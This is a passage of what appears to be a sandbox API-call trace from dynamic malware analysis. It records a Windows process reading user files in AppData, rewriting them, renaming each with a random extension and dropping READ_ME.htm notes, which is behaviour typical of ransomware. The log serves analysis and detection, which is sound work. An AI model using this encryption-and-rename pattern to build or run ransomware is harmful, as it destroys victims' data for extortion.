lpNumberOfBytesRead=0x21d418*=0x16d0e, lpOverlapped=0x0) returned 1 [0149.073] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\xjejqh.png", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\xjejqh.png", lpFilePart=0x0) returned 0x2d [0149.073] SetErrorMode (uMode=0x1) returned 0x0 [0149.073] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\xjejqh.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\xjejqh.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.075] GetFileType (hFile=0x1d0) returned 0x1 [0149.075] SetErrorMode (uMode=0x0) returned 0x1 [0149.075] GetFileType (hFile=0x1d0) returned 0x1 [0149.075] WriteFile (in: hFile=0x1d0, lpBuffer=0x128fdef0*, nNumberOfBytesToWrite=0x16d10, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x128fdef0*, lpNumberOfBytesWritten=0x21d498*=0x16d10, lpOverlapped=0x0) returned 1 [0149.079] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\xjejqh.png", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\xjejqh.png", lpFilePart=0x0) returned 0x2d [0149.079] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\xjejqh.png.vg124a", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\xjejqh.png.vg124a", lpFilePart=0x0) returned 0x34 [0149.079] SetErrorMode (uMode=0x1) returned 0x0 [0149.079] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\xjejqh.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\xjejqh.png"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x17d682e0, ftCreationTime.dwHighDateTime=0x1d8bce0, ftLastAccessTime.dwLowDateTime=0x9ffd730, ftLastAccessTime.dwHighDateTime=0x1d8bd98, ftLastWriteTime.dwLowDateTime=0x555964a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x16d10)) returned 1 [0149.079] SetErrorMode (uMode=0x0) returned 0x1 [0149.079] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\xjejqh.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\xjejqh.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\xjejqh.png.vg124a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\xjejqh.png.vg124a")) returned 1 [0149.080] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\XNfiHAeLkxT6WxYO.m4a", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\XNfiHAeLkxT6WxYO.m4a", lpFilePart=0x0) returned 0x37 [0149.081] SetErrorMode (uMode=0x1) returned 0x0 [0149.081] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\XNfiHAeLkxT6WxYO.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\xnfihaelkxt6wxyo.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.081] GetFileType (hFile=0x1d0) returned 0x1 [0149.081] SetErrorMode (uMode=0x0) returned 0x1 [0149.081] GetFileType (hFile=0x1d0) returned 0x1 [0149.081] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x5324 [0149.081] ReadFile (in: hFile=0x1d0, lpBuffer=0x28676c8, nNumberOfBytesToRead=0x5324, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x28676c8*, lpNumberOfBytesRead=0x21d418*=0x5324, lpOverlapped=0x0) returned 1 [0149.100] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\XNfiHAeLkxT6WxYO.m4a", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\XNfiHAeLkxT6WxYO.m4a", lpFilePart=0x0) returned 0x37 [0149.100] SetErrorMode (uMode=0x1) returned 0x0 [0149.100] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\XNfiHAeLkxT6WxYO.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\xnfihaelkxt6wxyo.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.102] GetFileType (hFile=0x1d0) returned 0x1 [0149.102] SetErrorMode (uMode=0x0) returned 0x1 [0149.102] GetFileType (hFile=0x1d0) returned 0x1 [0149.102] WriteFile (in: hFile=0x1d0, lpBuffer=0x29614d8*, nNumberOfBytesToWrite=0x5330, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x29614d8*, lpNumberOfBytesWritten=0x21d498*=0x5330, lpOverlapped=0x0) returned 1 [0149.104] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\XNfiHAeLkxT6WxYO.m4a", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\XNfiHAeLkxT6WxYO.m4a", lpFilePart=0x0) returned 0x37 [0149.104] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\XNfiHAeLkxT6WxYO.m4a.pvi9ve", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\XNfiHAeLkxT6WxYO.m4a.pvi9ve", lpFilePart=0x0) returned 0x3e [0149.104] SetErrorMode (uMode=0x1) returned 0x0 [0149.104] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\XNfiHAeLkxT6WxYO.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\xnfihaelkxt6wxyo.m4a"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf403ea00, ftCreationTime.dwHighDateTime=0x1d8c055, ftLastAccessTime.dwLowDateTime=0x1cf4c640, ftLastAccessTime.dwHighDateTime=0x1d8c0ca, ftLastWriteTime.dwLowDateTime=0x555bc600, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5330)) returned 1 [0149.104] SetErrorMode (uMode=0x0) returned 0x1 [0149.104] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\XNfiHAeLkxT6WxYO.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\xnfihaelkxt6wxyo.m4a"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\XNfiHAeLkxT6WxYO.m4a.pvi9ve" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\xnfihaelkxt6wxyo.m4a.pvi9ve")) returned 1 [0149.106] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Yis4dDZGfvHy.xlsx", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Yis4dDZGfvHy.xlsx", lpFilePart=0x0) returned 0x34 [0149.107] SetErrorMode (uMode=0x1) returned 0x0 [0149.107] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Yis4dDZGfvHy.xlsx" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\yis4ddzgfvhy.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.107] GetFileType (hFile=0x1d0) returned 0x1 [0149.107] SetErrorMode (uMode=0x0) returned 0x1 [0149.107] GetFileType (hFile=0x1d0) returned 0x1 [0149.107] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0xc744 [0149.107] ReadFile (in: hFile=0x1d0, lpBuffer=0x2967710, nNumberOfBytesToRead=0xc744, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2967710*, lpNumberOfBytesRead=0x21d418*=0xc744, lpOverlapped=0x0) returned 1 [0149.171] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Yis4dDZGfvHy.xlsx", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Yis4dDZGfvHy.xlsx", lpFilePart=0x0) returned 0x34 [0149.172] SetErrorMode (uMode=0x1) returned 0x0 [0149.172] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Yis4dDZGfvHy.xlsx" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\yis4ddzgfvhy.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.173] GetFileType (hFile=0x1d0) returned 0x1 [0149.173] SetErrorMode (uMode=0x0) returned 0x1 [0149.174] GetFileType (hFile=0x1d0) returned 0x1 [0149.174] WriteFile (in: hFile=0x1d0, lpBuffer=0x2878f70*, nNumberOfBytesToWrite=0xc750, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2878f70*, lpNumberOfBytesWritten=0x21d498*=0xc750, lpOverlapped=0x0) returned 1 [0149.176] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Yis4dDZGfvHy.xlsx", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Yis4dDZGfvHy.xlsx", lpFilePart=0x0) returned 0x34 [0149.176] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Yis4dDZGfvHy.xlsx.gr2v3j", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Yis4dDZGfvHy.xlsx.gr2v3j", lpFilePart=0x0) returned 0x3b [0149.176] SetErrorMode (uMode=0x1) returned 0x0 [0149.176] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Yis4dDZGfvHy.xlsx" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\yis4ddzgfvhy.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe9c8ea0, ftCreationTime.dwHighDateTime=0x1d8bd61, ftLastAccessTime.dwLowDateTime=0xed397010, ftLastAccessTime.dwHighDateTime=0x1d8bf46, ftLastWriteTime.dwLowDateTime=0x5567ace0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xc750)) returned 1 [0149.176] SetErrorMode (uMode=0x0) returned 0x1 [0149.176] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Yis4dDZGfvHy.xlsx" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\yis4ddzgfvhy.xlsx"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Yis4dDZGfvHy.xlsx.gr2v3j" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\yis4ddzgfvhy.xlsx.gr2v3j")) returned 1 [0149.177] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities", lpFilePart=0x0) returned 0x2d [0149.177] SetErrorMode (uMode=0x1) returned 0x0 [0149.178] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\identities\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.178] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.178] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1 [0149.178] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0149.179] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.179] SetErrorMode (uMode=0x0) returned 0x1 [0149.179] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities", lpFilePart=0x0) returned 0x2d [0149.179] SetErrorMode (uMode=0x1) returned 0x0 [0149.179] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\identities\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.179] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.179] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1 [0149.179] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0149.180] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.180] SetErrorMode (uMode=0x0) returned 0x1 [0149.180] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpFilePart=0x0) returned 0x54 [0149.180] SetErrorMode (uMode=0x1) returned 0x0 [0149.180] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.181] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.181] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.181] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.181] SetErrorMode (uMode=0x0) returned 0x1 [0149.181] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpFilePart=0x0) returned 0x54 [0149.182] SetErrorMode (uMode=0x1) returned 0x0 [0149.182] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.182] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.182] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.182] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.182] SetErrorMode (uMode=0x0) returned 0x1 [0149.182] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\READ_ME.htm", lpFilePart=0x0) returned 0x60 [0149.182] SetErrorMode (uMode=0x1) returned 0x0 [0149.183] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.184] GetFileType (hFile=0x1d0) returned 0x1 [0149.184] SetErrorMode (uMode=0x0) returned 0x1 [0149.184] GetFileType (hFile=0x1d0) returned 0x1 [0149.184] WriteFile (in: hFile=0x1d0, lpBuffer=0x288cfd0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x288cfd0*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.185] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\READ_ME.htm", lpFilePart=0x0) returned 0x39 [0149.185] SetErrorMode (uMode=0x1) returned 0x0 [0149.186] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\identities\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.186] GetFileType (hFile=0x1d0) returned 0x1 [0149.186] SetErrorMode (uMode=0x0) returned 0x1 [0149.186] GetFileType (hFile=0x1d0) returned 0x1 [0149.186] WriteFile (in: hFile=0x1d0, lpBuffer=0x2891580*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2891580*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0149.187] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2c [0149.188] SetErrorMode (uMode=0x1) returned 0x0 [0149.188] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.188] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.188] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, 